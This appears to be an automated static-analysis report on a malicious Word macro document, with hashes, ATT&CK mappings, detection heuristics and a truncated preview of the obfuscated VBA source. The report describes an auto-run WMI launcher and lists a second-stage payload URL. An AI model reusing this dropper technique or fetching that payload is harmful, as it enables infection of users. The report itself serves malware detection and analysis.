Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 72e4216ae1ba4636…

MALICIOUS

Office (OOXML)

178.1 KB Created: 2019-01-28 10:06:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2019-02-26
MD5: 45137851226d8934b34ced649b35fd61 SHA-1: 7081026b42b54a8965b6d2306c176ccbd7de53b9 SHA-256: 72e4216ae1ba46360d274401a2297a35a6ddd041552c995d63b4295229e76f7b
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The OOXML document contains a Document_Open VBA macro that is automatically executed when the document is opened after enabling content. This macro uses GetObject and CreateObject to launch cmd.exe via WMI, a common technique for executing downloaded payloads. The embedded URL http://licor.club/chidex.exe is likely the location of this second-stage payload.

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://licor.club/chidex.exe In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 92892 bytes
SHA-256: 28ed41841e55901799c9d3f313e17dd819128ab59359389c4746b61620e0361a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Document_Open()
Call QOIKQPWADZDBYZB
End Sub

Private Sub QOIKQPWADZDBYZB()

Dim er23405356234 As Byte
Dim OCTKYHKQUCZJSSJM As Date
Dim COD
Dim XZPSUJYYBF
If 0 = 23 Then
Else
Dim ZMDLWBQTJXG

Dim NNOFY

Dim YGKRZJIJJ As Variant
Dim CSXPETGX As Date

Dim YKHNEVDSARMQGM
Dim OQRQTPBVEIQWVGXM
Dim VDTNBPGI



CSXPETGX = 52
Do While 808 < 6
   Select Case KFGSISFV
            Case "?§ÏÃo", "?£ÍÑw", "}?ÆÏy¢"
                 EIYWWD = "�¥ËÔw?Ì?§�"
            Case "?�ÆÓ}¥Õ?ª?hÒ|{", "??¾Æ??À®¨�}Î{y·¾"
                 suffix = "?¨¾Ðx¡Õ­"
            Case "w?ÎÈ{�Å ¶~qÄ??·Ê", "??ÅÉt?Э§~h"
                 EIYWWD = "??ÓÕ{£À®"
            Case Else
                 WUXZA = "UVBOVSQQHMH"
    End Select
Dim WARWRYTQFWY
Dim UEGRL
Dim WHTESYACOQIVRA
Exit Do
Randomize
Loop

Dim VDNQI As Variant
Dim ZTHN As Date

Dim OLT
Dim KDVSKHTVMBPJJD
Dim LZONN



ZTHN = 33
Do While 809 < 3
   Select Case LLOQRDCCCYSKO
            Case "??ÌÄy?Æ­½", " £ÎÓm?Ö¡¿?tÉ?wµÌ", "?©ÒÄt?Ä¡"
                 VGJ = "u¥ÃÄv?Ì�¬?i"
            Case "?�ÂÊ", "??ÑÆt¨Ã«¬� Åz?±"
                 suffix = "? ¿Ôs¡Ï¤®�uÆ"
            Case "}?ÀÕ??Ç£µ?", "~©¼Ð??Ê?¶"
                 VGJ = "? ÆÓu?¨À� Ì?s Â"
            Case Else
                 OVRZFWNX = "SGLI"
    End Select
Dim NXXJGLQKDX
Dim PLYSZNAQIDIZX
Dim PISSPCOUVRDWFNI
Exit Do
Randomize
Loop

Dim JMNXEGJQYIO As Variant
Dim JQFL As Date

Dim BTPNLNLOFMPPNRRB
Dim OFBFVRO
Dim TGAGEUYZKIDFX



JQFL = 89
Do While 814 < 8
   Select Case KTDPVYRCJNISVKQH
            Case "y¡¼", "??ÏÊ ?", "x©ÍÓ{?Ñ?®?qÓw?"
                 TCZVRLSTUXEPQZ = "??ËÖv�Р¹?m"
            Case "??ÂÀ??®«~", "??ÄÅ~?Å ·?sÓ"
                 suffix = "??ÊÆn?"
            Case "?£ÌÕp?Á¥¾?|Ð�", "?¢ÇÅ??À¤«?xË?"
                 TCZVRLSTUXEPQZ = "??ÑÌt?Õ?·}oÐ�?©"
            Case Else
                 HOADPYTLNARULLI = "LGPJIRMVLTXFULF"
    End Select
Dim QLGQKDELBDGE
Dim TWLGXUZYQVAC
Dim BETJGGLEZVIFPG
Exit Do
Randomize
Loop

Dim ZTYORPV As Variant
Dim URXPRJCV As Date

Dim XVEE
Dim KSQWNVMFMXXZ
Dim LJFTYZRNWNLFE



URXPRJCV = 80
Do While 901 < 7
   Select Case UAYVSG
            Case "??ÍÃ{£Ê?» ", "~ »Î}¦Ä�§", "|§ÄÅo£Ì?¯"
                 MVLESZJ = "�§¼Ï{¨Â?®?hº?q¨"
            Case "t¤ÑË", "{«ÔÓr¡Ç«»?sÁ?�"
                 suffix = "??»Òv?Ò?«?"
            Case "??ÄÅy?Ä?½�j½?x³", "�?¼Æ{?"
                 MVLESZJ = "??ÔÑm?Óª¶~hÆ??"
            Case Else
                 ZIUCQ = "BQGNQNPUNLKMQJQB"
    End Select
Dim XEXGRNRSWCCNL
Dim VDZSLJAPU
Dim NKEGZOLOYFF
Exit Do
Randomize
Loop

Dim XZTBARGVVZUGXD As Variant
Dim KUPJ As Date

Dim NPZRJA
Dim AATQRZLXSLFZGSM
Dim KRVTYHQMU



KUPJ = 17
Do While 452 < 4
   Select Case UAWXGP
            Case "u?ÏÕq", "{?ÑÀs?Î?¯�vÐ", "?¤¼Óx?Ã?©?iÌz"
                 HVAUVOIFGK = "~¨¾Íp?Ѭ©"
            Case "??ÅÂy", "??¼Âp?Ì?"
                 suffix = "t ÆÍn?Ì?"
            Case "w?ÄÐ ?Ñ«½?gº� ¡Ä", "??ÎÎ"
                 HVAUVOIFGK = "??ÄÔ�¡Í?º?xÀ?"
            Case Else
                 VTW = "ATFJDQEFVBCTSZJ"
    End Select
Dim KIUAQUTQKPYTMLG
Dim TOTPIG
Dim JOUZ
Exit Do
Randomize
Loop

Dim BJR As Variant
Dim JOZTVCOTZB As Date

Dim LOFUFQWVHVTASZ
Dim WVHWB
Dim FQKCRKITBRCVG



JOZTVCOTZB = 22
Do While 965 < 7
   Select Case BATOGCADIFRA
            Case "}?ÊÌv¤Å¦²", "??ÀÄ~?Ϫ¸�}", "~�ÇÀt¢Æ?³?zÊ"
                 CWW = "??ÌÒ~¡Ç?º? Í|w¶"
            Case "}¦ÇÍt¥Ì£¸", "??ÐÔ "
                 suffix = "x¦ÅÅu Ï©"
            Case "?¢Ñ×t?Ʀ®?kÄ", "?¨¿Àp?˧±~{"
                 CWW = "y¡ÍÔp¨É£´?"
            Case Else
                 QXWWJMNHKDJGOLL = "TIL"
    End Select
Dim GBXNMHHZBTG
Dim UFOZXEYHPTVIEZCI
Dim EKUJZPWKYBB
Exit 
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 207872 bytes
SHA-256: 8b50ccc8acd92a758fef885bfdead08f9142c0e72abc56e33f8331b4fd41bd0c